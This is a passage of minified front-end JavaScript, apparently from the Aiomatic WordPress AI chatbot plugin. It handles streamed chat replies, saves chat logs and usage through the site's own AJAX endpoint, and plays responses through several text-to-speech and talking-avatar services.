if(aiomatic_chat_ajax_object.frequency != '') { eventURL += '&frequency=' + encodeURIComponent(aiomatic_chat_ajax_object.frequency); } if(aiomatic_chat_ajax_object.presence != '') { eventURL += '&presence=' + encodeURIComponent(aiomatic_chat_ajax_object.presence); } if(aiomatic_chat_ajax_object.top_p != '') { eventURL += '&top_p=' + encodeURIComponent(aiomatic_chat_ajax_object.top_p); } if(aiomatic_chat_ajax_object.temp != '') { eventURL += '&temp=' + encodeURIComponent(aiomatic_chat_ajax_object.temp); } if(aiomatic_chat_ajax_object.model != '') { eventURL += '&model=' + encodeURIComponent(aiomatic_chat_ajax_object.model); } if(ai_assistant_id != '') { eventURL += '&assistant_id=' + encodeURIComponent(ai_assistant_id); } if(th_id != '') { eventURL += '&thread_id=' + encodeURIComponent(th_id); } if(remember_string != '') { eventURL += '&remember_string=' + encodeURIComponent(remember_string); } if(is_modern_gpt != '') { eventURL += '&is_modern_gpt=' + encodeURIComponent(is_modern_gpt); } if(internet_permission != '') { eventURL += '&internet_access=' + encodeURIComponent(internet_permission); } if(aiomatic_chat_ajax_object.embeddings != '') { eventURL += '&embeddings=' + encodeURIComponent(aiomatic_chat_ajax_object.embeddings); } if(user_question != '') { eventURL += '&user_question=' + encodeURIComponent(user_question); } if(enable_god_mode != '') { eventURL += '&enable_god_mode=' + encodeURIComponent(enable_god_mode); } if(vision_file != '') { eventURL += '&vision_file=' + encodeURIComponent(vision_file); } var fnrez = JSON.stringify(result.data); eventURL += '&functions_result=' + encodeURIComponent(fnrez); if(eventURL.length > 2080) { console.log('URL too long, using alternative method'); var unid = "id" + Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);; aiChatUploadDataomatic(aiomatic_chat_ajax_object, unid, input_text, remember_string, user_question, fnrez); var eventURL = aiomatic_chat_ajax_object.stream_url; eventURL += '&input_text=0&remember_string=0&user_question=0&functions_result=0'; if(pdf_data != '') { eventURL += '&pdf_data=' + encodeURIComponent(pdf_data); } if(file_data != '') { eventURL += '&file_data=' + encodeURIComponent(file_data); } if(aiomatic_chat_ajax_object.user_token_cap_per_day != '') { eventURL += '&user_token_cap_per_day=' + encodeURIComponent(aiomatic_chat_ajax_object.user_token_cap_per_day); } if(aiomatic_chat_ajax_object.user_id != '') { eventURL += '&user_id=' + encodeURIComponent(aiomatic_chat_ajax_object.user_id); } if(aiomatic_chat_ajax_object.frequency != '') { eventURL += '&frequency=' + encodeURIComponent(aiomatic_chat_ajax_object.frequency); } if(aiomatic_chat_ajax_object.presence != '') { eventURL += '&presence=' + encodeURIComponent(aiomatic_chat_ajax_object.presence); } if(aiomatic_chat_ajax_object.top_p != '') { eventURL += '&top_p=' + encodeURIComponent(aiomatic_chat_ajax_object.top_p); } if(aiomatic_chat_ajax_object.temp != '') { eventURL += '&temp=' + encodeURIComponent(aiomatic_chat_ajax_object.temp); } if(aiomatic_chat_ajax_object.model != '') { eventURL += '&model=' + encodeURIComponent(aiomatic_chat_ajax_object.model); } if(is_modern_gpt != '') { eventURL += '&is_modern_gpt=' + encodeURIComponent(is_modern_gpt); } if(internet_permission != '') { eventURL += '&internet_access=' + encodeURIComponent(internet_permission); } if(aiomatic_chat_ajax_object.embeddings != '') { eventURL += '&embeddings=' + encodeURIComponent(aiomatic_chat_ajax_object.embeddings); } if(enable_god_mode != '') { eventURL += '&enable_god_mode=' + encodeURIComponent(enable_god_mode); } if(vision_file != '') { eventURL += '&vision_file=' + encodeURIComponent(vision_file); } eventURL += '&bufferid=' + encodeURIComponent(unid); } func_call = { init_data: { pdf_data: pdf_data, file_data: file_data, user_token_cap_per_day: aiomatic_chat_ajax_object.user_token_cap_per_day, user_id: aiomatic_chat_ajax_object.user_id, frequency: aiomatic_chat_ajax_object.frequency, presence: aiomatic_chat_ajax_object.presence, top_p: aiomatic_chat_ajax_object.top_p, temp: aiomatic_chat_ajax_object.temp, model: aiomatic_chat_ajax_object.model, input_text: input_text, remember_string: remember_string, is_modern_gpt: is_modern_gpt, user_question: user_question }, }; try { eventGenerator = new EventSource(eventURL); } catch(e) { console.log('Error in Event: ' + e); } eventGenerator.onerror = handleErrorEvent; eventGenerator.addEventListener('message_stop', handleMessageStopEvent); eventGenerator.addEventListener('completion', handleCompletionEvent); eventGenerator.onmessage = handleMessageEvent; eventGenerator.addEventListener('content_block_delta', handleContentBlockDelta); } else { if(result.scope == 'user_message') { var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + result.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(initialContent + appendx); if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else { console.log('Unknown scope returned: ' + result); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Failed to process the request, please try again later.</div>'); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } return; } } } }, error: function(error) { console.log('Error while calling AI functions: ' + error.responseText); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Failed to process the request, please try again later.</div>'); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } return; }, }); } } } } else { if(Object.hasOwn(resultData, 'done_reason')) { hasFinishReason = true; } if(hasFinishReason){ count_line += 1; aiomatic_response_events = 0; } if(e.data == '[ERROR]') { error_generated = 'Failed to get chat response!'; console.log('Error while processing request: ' + error_generated); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + error_generated + '</div>'); count_line += 1; } else { if(e.data !== '[DONE]') { if (resultData && resultData.message && typeof resultData.message.content !== 'undefined') { response_data += aiomatic_nl2br(resultData.message.content); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response_data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; aiomatic_response_events += 1; jQuery('#aiomatic_chat_history' + instance).html(initialContent + appendx); } else { error_generated = 'Failed to get chat response!'; console.log('Streaming error: ' + JSON.stringify(resultData)); if(resultData && resultData.error && resultData.error[0] && typeof resultData.error[0].message !== 'undefined') { jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + resultData.error[0].message + '</div>'); } else { jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + JSON.stringify(resultData) + '</div>'); } count_line += 1; } } } } } else { if(hasFinishReason){ count_line += 1; aiomatic_response_events = 0; } if(e.data == '[ERROR]') { error_generated = 'Failed to get chat response!'; console.log('Error while processing request: ' + error_generated); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + error_generated + '</div>'); count_line += 1; } else { if(e.data !== '[DONE]') { response_data += aiomatic_nl2br(e.data); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response_data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; aiomatic_response_events += 1; jQuery('#aiomatic_chat_history' + instance).html(initialContent + appendx); } } } if(count_line >= aiomatic_limitLines) { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); if((persistent != 'off' && persistent != '0' && persistent != '') && user_id != '0' && error_generated == '') { var save_persistent = x_input_text; if(persistent == 'vector') { save_persistent = user_question; } jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_user_meta_save', nonce: aiomatic_chat_ajax_object.persistentnonce, persistent: persistent, thread_id: aiomatic_chat_ajax_object.thread_id, x_input_text: save_persistent, user_id: user_id }, success: function() { }, error: function(error) { console.log('Error while saving persistent user log: ' + error.responseText); }, }); } if(error_generated == '') { jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_record_user_usage', nonce: aiomatic_chat_ajax_object.persistentnonce, user_id: user_id, input_text: input_text, response_text: response_data, model: model, temp: temp, vision_file: vision_file, user_token_cap_per_day: aiomatic_chat_ajax_object.user_token_cap_per_day }, success: function() { }, error: function(error) { console.log('Error while saving user data: ' + error.responseText); }, }); } if(error_generated == '') { jQuery('#openai-chat-response' + instance).html(' '); } var has_speech = false; if(aiomatic_chat_ajax_object.receive_message_sound != '') { var snd = new Audio(aiomatic_chat_ajax_object.receive_message_sound); snd.play(); } if(error_generated == '' && !jQuery('.aiomatic-gg-unmute').length) { if(aiomatic_chat_ajax_object.text_speech == 'elevenlabs') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_elevenlabs_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('ElevenLabs API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'openai') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_openai_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('OpenAI TTS API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'google') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_google_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success'){ var byteCharacters = atob(jsonresult.audio); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], {type: 'audio/mp3'}); var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else{ var errorMessageDetail = 'Google: ' + jsonresult.msg; console.log('Google Text-to-Speech error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in Google Text-to-Speech API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'did') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_d_id_video_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success') { var videoURL = '<video class="ai_video" autoplay="autoplay" controls="controls"><source src="' + jsonresult.video + '" type="video/mp4"></video>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-video">' + videoURL + '</div>'); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else { var errorMessageDetail = 'D-ID: ' + jsonresult.msg; console.log('D-ID Text-to-video error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in D-ID Text-to-video API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'didstream') { if(avatarImageUrl != '' && did_app_id != '') { if(streamingEpicFail === false) { has_speech = true; myStreamObject.talkToDidStream(response_data); jQuery('#openai-chat-response' + instance).html(' '); aiomatic_generator_working = false; } } } else { if(aiomatic_chat_ajax_object.text_speech == 'free') { var T2S; if("speechSynthesis" in window || speechSynthesis) { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { T2S = window.speechSynthesis || speechSynthesis; var utter = new SpeechSynthesisUtterance(response_data); var voiceSetting = aiomatic_chat_ajax_object.free_voice.split(";"); var desiredVoiceName = voiceSetting[0].trim(); var desiredLang = voiceSetting[1].trim(); var voices = T2S.getVoices(); var selectedVoice = voices.find(function(voice) { return voice.name === desiredVoiceName && voice.lang === desiredLang; }); if (selectedVoice) { utter.voice = selectedVoice; utter.lang = selectedVoice.lang; } else { utter.lang = desiredLang; } T2S.speak(utter); } } } } } } } } } if(has_speech === false) { if(error_generated == '') { jQuery('#openai-chat-response' + instance).html(' '); } aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } } }; eventGenerator.onerror = handleErrorEvent; function handleErrorEvent(e) { console.log('Halting execution, EventGenerator error: ' + JSON.stringify(e)); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Failed to process response, please try again later.</div>'); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); }; } else { var internet_permission = aiomatic_chat_ajax_object.internet_access; if(jQuery('#aiomatic-globe-overlay' + instance).hasClass('aiomatic-globe-bar')) { internet_permission = 'disabled'; } jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_chat_submit', input_text: input_text, nonce: aiomatic_chat_ajax_object.nonce, model: model, temp: temp, top_p: top_p, presence: presence, frequency: frequency, user_token_cap_per_day: user_token_cap_per_day, remember_string: remember_string, is_modern_gpt: is_modern_gpt, user_id: user_id, vision_file: vision_file, user_question: user_question, ai_assistant_id: ai_assistant_id, ai_thread_id: ai_thread_id, pdf_data: pdf_data, file_data: file_data, internet_access: internet_permission, embeddings: aiomatic_chat_ajax_object.embeddings, enable_god_mode: enable_god_mode }, success: function(response) { if(typeof response === 'string' || response instanceof String) { try { var responset = JSON.parse(response); response = responset; } catch (error) { console.error("An error occurred while parsing the JSON: " + error + ' Json: ' + response); } } if(response.status == 'success') { if(response.thread_id !== undefined) { jQuery('#aiomatic_thread_id' + instance).val(response.thread_id); } if(response.data == '') { jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">AI considers this as the end of the text. Please try using a different text input.</div>'); } else { if(ai_message_preppend != '') { response.data = airemovePrefix(response.data.aitrim(), ai_message_preppend); response.data = response.data.aitrim(); } if(user_message_preppend != '') { response.data = airemoveAfter(response.data.aitrim(), user_message_preppend); response.data = response.data.aitrim(); } response.data = response.data.replace(/\n/g, '<br>'); var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); if((persistent != 'off' && persistent != '0' && persistent != '') && user_id != '0') { if(response.thread_id !== undefined) { var threadid = response.thread_id; } else { var threadid = aiomatic_chat_ajax_object.thread_id; } var save_persistent = x_input_text; if(persistent == 'vector') { save_persistent = user_question; } var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_user_meta_save', nonce: aiomatic_chat_ajax_object.persistentnonce, persistent: persistent, thread_id: threadid, x_input_text: save_persistent + appendx, user_id: user_id }, success: function() { }, error: function(error) { console.log('Error while saving persistent user log: ' + error.responseText); }, }); } if(instant_response == 'true' || instant_response == 'on') { var has_speech = false; if(aiomatic_chat_ajax_object.receive_message_sound != '') { var snd = new Audio(aiomatic_chat_ajax_object.receive_message_sound); snd.play(); } if(!jQuery('.aiomatic-gg-unmute').length) { if(aiomatic_chat_ajax_object.text_speech == 'elevenlabs') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response.data); speechData.append('action', 'aiomatic_get_elevenlabs_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('ElevenLabs API failed: ' + errorMessage.msg); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'openai') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response.data); speechData.append('action', 'aiomatic_get_openai_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('OpenAI TTS API failed: ' + errorMessage.msg); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response.data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + appendx); // Clear the response container jQuery('#openai-chat-response' + instance).html(' '); // Enable the submit button aiomaticRmLoading(chatbut); } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'google') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response.data); speechData.append('action', 'aiomatic_get_google_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success'){ var byteCharacters = atob(jsonresult.audio); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], {type: 'audio/mp3'}); var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else{ var errorMessageDetail = 'Google: ' + jsonresult.msg; var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } 